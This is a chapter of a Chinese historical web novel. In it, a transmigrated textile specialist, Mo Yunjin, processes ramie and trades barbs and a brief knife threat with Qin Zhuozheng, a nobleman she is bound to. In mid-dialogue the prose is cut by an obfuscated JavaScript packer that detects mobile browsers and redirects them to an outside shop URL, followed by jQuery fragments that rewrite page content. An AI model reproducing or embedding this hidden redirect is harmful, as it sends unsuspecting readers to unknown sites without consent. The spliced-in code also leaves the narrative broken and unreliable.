11. 第 11 章

作品:《锦绣河山

    见洛一离开,墨云锦回头看了眼坐在院中躺椅上看书的人,实在不知道如何开口,也不知道和他说什么?本就不熟,又隔着很多东西,比如债,比如那条人命。


    在他似乎要抬头前,她收回视线,还是她的窑炉重要,幸好云桃这身体干惯了农活,否则她早就垮了,有洛一送来的柴,再加上她顺手带回来的干草等易燃物,今天可以不用出去砍柴了。


    点燃后,她盯着火焰,不能有明火,低温烘干已经是下下策,她不能走错一步,否则虽不致万劫不复,也会对自己的心境有所影响。


    墨云锦坐在窑炉前,忍着面前的高温和身后的视线,沉默片刻,从身边的背篓中将她私心特意过去看来的苎麻取出,她想试试,能不能靠自己做出一匹麻布来,说来可笑,这些专业知识,她只知流程,从未真正的操作过,真正上手也只是面对那些在时光中历经沧桑的织锦艺术品,他们也只是需要知道它们是怎么来的,总归不是现在她可以真真切切的自己亲手按照书上的步骤,一步一步的将古代的制麻技艺呈现出来,想到这,墨云锦就忍不住的手痒。


    秦卓铮不解于墨云锦为何明明在看他,却在他抬头前快速转移视线,他清楚,她绝非是欲擒故纵,有意为之,因为若是如此,她现在应该继续偷眼看他,而不是削苎麻。


    苎麻?之前前往温泉的路上确实经过一片苎麻,她当时的反应确实很反常,这几日的观察可以看出她是一个很有计划性的人,做的每一件事都是经过思考规划过不会浪费时间的。


    上溪村,没有存在纺织技艺的记录,他这几日一直在看华安县志中关于青石镇上溪村的记录,此处土地富饶,邻近落雁山,但却不如下溪村富庶,选此地静养也是因为听闻落雁山中似乎有矿藏,想要一探究竟。


    此地以农业为主,少量村民去镇上做工,所有记录都没有关于她说的那些除霉防潮的技艺和如今做的土窑,削麻,他还不会蠢到当她在用苎麻入药或造纸,从见面的第一天开始,她便有意无意的偷看他,初始还会有她是不是再看他的想法,后来见她有偷偷抚摸过他衣衫后眼中瞬间迸发出光芒,好像看到了什么稀奇的东西,如果只是对他也罢,连洛一的侍卫服都是一样的赞叹,什么没见过世面的人能对着布匹的经纬啧啧称赞。


    这几日在他有意放任下,墨云锦果然做出了让他都诧异的成果,他真想知道,这个人的极限在哪?


    “你的工具不够锋利。”他想着也随心而动,想与他保持距离,她有问过他的意见么?


    墨云锦看着出现在右手边的匕首,削麻的手稍有停顿后视而不见的继续削着:“多谢公子,我觉得够用即可。”


    秦卓铮挑挑眉,气性这么大?有趣,真是有趣:“工欲善其事必先利其器,这种道理还要我提醒?”


    墨云锦咬了咬牙,胸口几番起伏,知道他现在是那副惹人厌的居高临下样子,脸上噙着一抹难以忽视的讥笑,想到此,她做了一个极其冲动的举动,握紧手中的刀,猛地起身,在他意料中的表情中,横砍过去,在他脖颈处堪堪停下:“再啰嗦,-杀--了你。”


    秦卓铮挥手让暗卫退回去,有没有杀意,他有判断,她眼中有火气,但还没到真想杀他的程度:“我只是好心建议,云锦怎么脾气如此大?”


    “我们不熟,别随便叫别人的名字。”他嬉皮笑脸的样子刺眼的很,墨云锦更是烦躁:“杀了你,人死债消,我便可以离开此处,恢复自由,一举两得。”说着她将手中刀锋再次靠近,威胁他。


    “真想杀我?”秦卓铮没想到那晚给她造成的影响居然这么久,看来真的是第一次杀人,憋了这么长时间,让她发泄一下也好,说着他将脖子靠近刀刃:“要见血...”才行,话没说完,她竟然比他速度还快的将刀移开,眼中满是嫌弃,好像他很脏一样。


    墨云锦没想到这人竟然还是个“疯子”,她手中的柴刀上面还有铁锈,他怎么敢不怕死的靠过去,他作为古代人难道不知道破伤风会死人么?还好她和云桃的身体融合的还不错,很多本能的动作已经慢慢回归,否则真被他撞这一下破伤风刀,吓唬他就变成真谋杀了。


    “你有事?”她轻叹口气,泄了气一般的坐会原位,拿起苎麻继续剥皮,见人没有离开,无奈的开口问道。


    “我不是说,你的工具不够锋利。”秦卓铮神情未变,但眼神中已经没有了玩味,只剩下冷意,她嫌弃他?是知道他的血液很脏么?


    墨云锦回头看了一眼,这人有毛病吧,剥皮用那么锋利的刀做什么?一言不合,剥皮不够,削个手指来取悦大家?


    “用你那削铁如泥的匕首的剥皮,大材小用了。”她可不想自己和手指头分离,她的手可宝贵的很。


    想要她用他那把匕首的想法已经成为执念,秦卓铮不接受她的说辞:“若我一定让你用呢?”她凭什么不接受?她凭什么嫌弃?


    烦死了,你当你是霸道总裁么?还我一定要你用呢?墨云锦烦躁的闭了闭眼,懒得和他辫官司,放下手中的柴刀,伸出手:“给我!”


    “什么?”她的反应让秦卓铮一时没反应过来,她难道不应该继续和他争辩才对么?为什么会这样?


    “刀!”对于他现在浪费自己时间的行为,墨云锦真的是烦的不行。


    秦卓铮被她吼的愣了一下,等反应过来的时候,刀已经递过去,人也坐会原位继续她的工作,好像刚刚什么都没发生一样。


    “苎麻织布费时费力,你有这么多的时间浪费?”秦卓铮怎么会不清楚她的想法,她想要逃走,也许是还在意承诺,也许是无处可去,她近乎机械的忙碌拒绝外界的探视,这么怕与他有牵扯?


    换了刀后墨云锦小心的刮着外皮,还要应付他罗里吧嗦的问题,烦的不行:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062525|195089||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “你很闲吗?”知道她忙,还要问来问去,不就是想从她嘴里探出她是谁的人么?


    她清楚自己现在全身都是破绽,被怀疑也正常,她可以用自己的本事解除怀疑,却不想在误会中差点丢掉命,艾草的浓烟是半干导致,她未曾解释,是她的问题,他遇刺怀疑是她通风报信,她理解,但是想趁此机会解决掉她,不给辩解的机会,太武断了,不足与其为谋。


    “我无外债又家世殷实,不必为了生存奔波,确实闲。”秦卓铮一刀接一刀的戳着墨云锦的软肋,她现在可不就是没钱有债活着都费劲的忙碌。


    墨云锦磨了磨牙,手上刮皮的动作逐渐加重,这人怎么这么让人讨厌。


    “你想要问我什么?”她实在不耐继续听他试探,想知道她的身份,又想知道她要做什么?怕失控?


    终于忍不住了,秦卓铮等的就是她主动开口,只见他毫无形象的撩开衣袍站到她身边后席地而坐,一脸好奇的问她:“刚刚你可以杀了我,为什么收手?”


    他盯着她那双骨节分明如竹枝的手,从初见,他便发现,她的手,很稳,无论什么处境,她的手都稳如磐石,而刚刚她像一只张牙舞爪的野猫,向他伸出锋利的爪子,试图将他从她的地盘中赶出,自己有意靠近时,她却将武器收回,为什么不一劳永逸的解决掉他这个麻烦?


    “你要是真想死,方法多得是,别把脏水泼我头上。”墨云锦烦恼的抓了抓头发,以前怎么没发现这人让人情绪烦躁的本事这么厉害,想死自己找个安静的地方怎么也能结束,非要让她背锅,想都别想,“至于收手,我不想死,周边又都是你的人,根本没有逃生的可能,何苦又背上一条人命债?”


    “呵~”秦卓铮轻笑出声:“你又如何知道我存死志?你很了解我?”笑话,她以为她是谁?


    墨云锦偏过头看了眼他那张挂着轻蔑和不屑的脸,目光却黯淡带惑,似乎很迷茫,一瞬间她的心境从烦躁变为平静,他可能遇到了什么难题吧。


    “我是个有正常思维的人,有自己的判断。”都是对前方之路迷茫的人,墨云锦竟生出了感同身受的念头,语气也从刚刚的不客气缓和下来:“你虎口掌心有老茧,谈吐不凡,想必是将门世家的公子,如今却带着忠仆来到此处居住,我大胆猜测怕不是...来避难,否则也不会被我父亲那种人威胁到花钱买我这种毫无价值的人。”


    墨云锦顿了顿,看他没什么反应后,低头一边继续手中的活计,一边接着刚刚的话茬说下去:“鉴于前几日的刺杀,我的猜测应验了大半,而你说的为何我会认为你存有死志,是你告诉我的。”


    此时的秦卓铮才抬眸,眼中闪过一丝讶异,随即笑出声:“我们似乎并没有聊过关于我的事,如何告诉你的?”


    骗人也要有个限度才行,他什么时候告诉过她。确切的说,他的想法,从未和任何人提及。